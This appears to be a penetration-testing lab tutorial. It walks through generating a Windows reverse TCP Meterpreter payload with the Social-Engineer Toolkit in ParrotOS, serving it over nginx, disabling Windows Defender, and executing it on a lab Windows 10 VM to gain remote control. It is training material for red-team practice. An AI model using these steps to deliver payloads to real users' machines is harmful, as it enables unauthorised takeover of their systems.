## Lab 7: Establish a Meterpreter Shell on a Windows Target using SET in ParrotOS

### Scenario

PAMTech Corporation, a global enterprise with critical financial and customer data, is strengthening its defense mechanisms against targeted cyberattacks. While traditional defenses such as antivirus and firewalls are in place, the company recognizes the rising threat of social engineering attacks and remote access payloads. These attacks often trick unsuspecting users into executing malicious files, leading to complete system compromise.

To simulate a real-world Advanced Persistent Threat (APT) scenario, PAMTech's cybersecurity team has decided to assess the effectiveness of their endpoint defenses and employee awareness. As part of this exercise, a red team engagement will demonstrate how a seemingly harmless executable can establish a remote session and provide full control to an attacker using a Meterpreter shell.

### Solution

You have been brought in as a certified security practitioner to conduct this simulation using the Social-Engineer Toolkit (SET) within ParrotOS. Your objective is to generate a Metasploit payload, deliver it to a Windows 10 target machine, and successfully establish a Meterpreter shell connection.

This demonstration will walk through the process of creating a Windows reverse TCP payload using the Social-Engineer Toolkit (SET), launching a listener through Metasploit for command-and-control, transferring the payload to a Windows virtual machine via an HTTP server, and executing the payload on the target system to gain interactive control.

By completing this lab, you will gain hands-on experience with how attackers craft and deploy payloads, and how endpoint vulnerabilities, especially user behavior and lack of awareness, can be exploited for full system access.

SET is a powerful, open-source tool designed for simulating social engineering attacks. It integrates tightly with Metasploit to deliver payloads such as reverse shells and allows attackers and penetration testers to craft convincing phishing campaigns and Trojanized executables. Its “Create a Payload and Listener” module streamlines the process of payload delivery and session management, making it a valuable tool in any red team’s arsenal.

**Note:** In this lab, we use two virtual machines: ParrotOS and Windows 10. The ParrotOS, as an attacker machine, has an IP address of **192.168.100.68.** The Windows 10, as a victim machine, has an IP address of **192.168.100.67**. When you perform this lab, use your virtual machine IP addresses, not this lab's IP addresses.

|  |
| --- |
| 1. Turn on **ParrotOS** and **Windows 10** virtual machines. Switch to the **ParrotOS** virtual machine, open a Terminal, and execute the **sudo su** command to run programs with root privileges. Execute the following command: **setoolki**t to launch **Social-Engineer Toolkit.** If a **Do you agree to the terms of service [y/n]** question appears, enter **y** and press **Enter**.    2. The SET menu appears. Type **1** and press **Enter** to select **Social-Engineering Attacks**.    3. We will then be presented with another menu. Once here, we will be choosing option **4. Create a Payload and Listener.** Select this option by typing **4** and pressing **Enter**.  A screenshot of a computer  AI-generated content may be incorrect.  4. We will be presented with another menu here, which will ask us what kind of payload we wish to create. For this lab, we will be choosing option **2**, **Windows Reverse\_TCP Meterpreter.** Type **2** and hit **Enter.**  **A screenshot of a computer  AI-generated content may be incorrect.**  5. We will then be asked for the IP address to which the target will connect when the payload is run. Type the **IP address** of ParrotOS (found using ifconfig) and press **Enter**.  6. Choose a port for the payload listener **(e.g., 5555).**  A screenshot of a computer  AI-generated content may be incorrect.  7. Once you enter the port, SET will begin generating the payload. Once this is done, SET will ask if you want to start the payload and listener now. Type **yes** and hit **Enter**.    8. The generated payload will be stored at: **/root/.set/payload.exe**  9. SET will now launch Metasploit and begin a listener for us using the information we provided for the payload. This is an easier way of creating a Metasploit payload and starting a listener.  10. When the listener is started, transfer the payload file to your Windows virtual machine. It will be called **payload.exe**. In order to transfer this file to the Windows machine easily, we will run the **nginx web server** in ParrotOS VM and download the file from within Windows. Open a new terminal window in ParrotOS, then type these commands:   * **sudo cp -v /root/.set/payload.exe /var/www/html/** * **sudo nginx**   A screen shot of a computer  AI-generated content may be incorrect.  11. Now, switch to Windows VM, open a browser. Type this URL into the address bar: http://192.168.100.68/payload.exe  **A screenshot of a computer  AI-generated content may be incorrect.**  12. Ensure that **Windows Defender** is turned off so that the payload can run effectively. Then, with the listener running in Metasploit, **download** the payload in the Windows VM. Click on the **Keep** to continue the downloading process.  A screenshot of a computer  AI-generated content may be incorrect.  13. Click on the **Keep anyway** to proceed with the downloading.  A screenshot of a computer  AI-generated content may be incorrect.  14. Now double-click on the **payload.exe** file to **execute** it in the Windows VM.  A screenshot of a computer  AI-generated content may be incorrect.  15. After execution, return to your ParrotOS terminal. You should now see a **Meterpreter shell** established. View active sessions in Metasploit.  A screenshot of a computer  AI-generated content may be incorrect.  16. To interact with the established Meterpreter shell, type **sessions -i 1.** This will grant you full control over the target machine via Meterpreter.      17. Once inside the Meterpreter shell, run the **sysinfo** command to gather system-level information about the target. This command displays the computer name, operating system version, architecture, and Meterpreter version. It helps assess the target system’s details, which is often the first step in a post-exploitation phase. |